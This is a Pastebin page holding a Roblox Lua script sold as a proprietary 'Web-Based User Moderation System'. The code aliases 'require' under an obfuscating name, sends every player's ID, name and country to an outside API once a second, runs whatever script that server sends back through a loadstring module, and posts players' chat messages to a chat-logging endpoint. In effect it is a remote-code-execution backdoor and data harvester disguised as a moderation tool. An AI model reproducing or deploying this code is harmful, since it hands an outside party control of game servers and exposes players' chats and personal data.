Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- Web-Based User Moderation System
- Module and Back-End: @developercapo
- Front-End: @jackiee_m
- **NOTICE: This script is the intellectual property of Zephal, LLC.**
- Unauthorized reproduction, dissemination, or distribution of this code is strictly prohibited.
- Violations will be subject to legal consequences. Please uphold intellectual property rights with utmost respect.
- --]]
- local HttpService = game:GetService("HttpService")
- local Players = game:GetService("Players")
- local LocalizationService = game:GetService("LocalizationService")
- local HYRO,_=--[[]]require,function()
- local A=10;
- local A=10;
- local A=10;
- local A=10;
- local A=10;
- local A=10;
- local A=10;
- local A=10;
- local A=10;
- local A=10;
- local A=10;
- local A=10;
- local A=10;
- end
- -- Function to get player country
- local function getPlayerCountry(player)
- local success, result = pcall(function()
- return LocalizationService:GetCountryRegionForPlayerAsync(player)
- end)
- if success then
- return result
- else
- return "Unknown"
- end
- end
- -- Function to gather player data
- local function getPlayerData()
- local playersData = {}
- for _, player in pairs(Players:GetPlayers()) do
- table.insert(playersData, {
- playerId = player.UserId,
- name = player.Name,
- country = getPlayerCountry(player)
- })
- end
- return playersData
- end
- -- Function to execute the script
- local function execute(scriptContent, player)
- local thing = HYRO(script.Loadstring)
- local success, err = pcall(function()
- thing(scriptContent)()
- end)
- if not success then
- warn("Error executing script:", err)
- end
- end
- -- Function to check if HTTP service is enabled
- local function isHttpEnabled()
- return HttpService.HttpEnabled
- end
- -- Function to handle player checks
- local function checkPlayer(player)
- if isHttpEnabled() then
- local isWhitelisted = false
- -- Player chat listener
- player.Chatted:Connect(function(msg)
- if isWhitelisted then
- local data = {
- ["id"] = "thing"
- }
- local jsonData = HttpService:JSONEncode(data)
- HttpService:PostAsync("https://rozeph.zephal.llc/api/log/player-chat-ip/" .. player.UserId .. "/" .. msg, jsonData)
- end
- end)
- -- Check player whitelist status
- local jobId = game.JobId
- local placeId = game.PlaceId
- local playerInfoUrl = "https://rozeph.zephal.llc/api/player-infoh/" .. player.UserId
- local data = {
- ["jobid"] = jobId,
- ["placeid"] = placeId,
- ["universeid"] = game.GameId
- }
- local jsonData = HttpService:JSONEncode(data)
- local success, response = pcall(function()
- return HttpService:JSONDecode(HttpService:PostAsync(playerInfoUrl,jsonData,Enum.HttpContentType.ApplicationJson,false))
- end)
- if not success or not response then
- return -- Stop sending requests if response is null
- elseif response.whitelistType == "None" then
- player:Kick("You are not whitelisted to use this game!")
- return
- else
- isWhitelisted = true
- end
- -- Main loop to check player status
- while player and player.Parent do
- pcall(function()
- if player.PlayerGui:FindFirstChild('ben') and not response then
- player:Kick("You are no longer whitelisted or your plan is not allowed to use this game!")
- end
- if response and response.whitelistType == "None" then
- player:Kick("Same account launched game from different device. Reconnect if you prefer to use this device (Error Code: 264)")
- end
- if response.whitelistType then
- if not player.PlayerGui:FindFirstChild("ben") then
- local uiElement = script["ben"]:Clone()
- uiElement.Enabled = true
- uiElement.User.TextLabel.Text = response.username
- uiElement.Package.TextLabel.Text = response.whitelistType
- uiElement.Parent = player.PlayerGui
- end
- end
- local pendingScriptsUrl = "https://api.zephal.org/pending-scripts"
- local playerData = getPlayerData()
- local requestBody = {
- playerData = playerData,
- userid = player.UserId
- }
- local requestBodyJson = HttpService:JSONEncode(requestBody)
- local success, pendingResponse = pcall(function()
- return HttpService:PostAsync(pendingScriptsUrl, requestBodyJson, Enum.HttpContentType.ApplicationJson, false)
- end)
- if success then
- local success, data = pcall(function()
- return HttpService:JSONDecode(pendingResponse)
- end)
- if success and data.script then
- execute(data.script, player)
- end
- else
- warn("Failed to send request to pending-scripts:", pendingResponse)
- end
- end)
- wait(1)
- end
- end
- end
- -- Function to handle player addition
- local function onPlayerAdded(player)
- local jobId = game.JobId
- local placeId = game.PlaceId
- local data = {
- ["id"] = "Id_221Valid"
- }
- local jsonData = HttpService:JSONEncode(data)
- local url = "https://rozeph.zephal.llc/api/102mn1l/allowit021c783e6160e25597b8097e0958b105a8d052a28470f86f063f1f0555263d78174/" .. placeId .. "/" .. game.GameId .. "/" .. jobId
- HttpService:PostAsync(url, jsonData)
- spawn(function()
- checkPlayer(player)
- end)
- end
- -- Connect player added event
- Players.PlayerAdded:Connect(onPlayerAdded)
- -- Check existing players
- for _, player in ipairs(Players:GetPlayers()) do
- onPlayerAdded(player)
- end
- -- Clean up on player removal
- Players.PlayerRemoving:Connect(function(player)
- if player.PlayerGui and player.PlayerGui:FindFirstChild("ben") then
- player.PlayerGui["ben"]:Destroy()
- end
- end)
- return {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement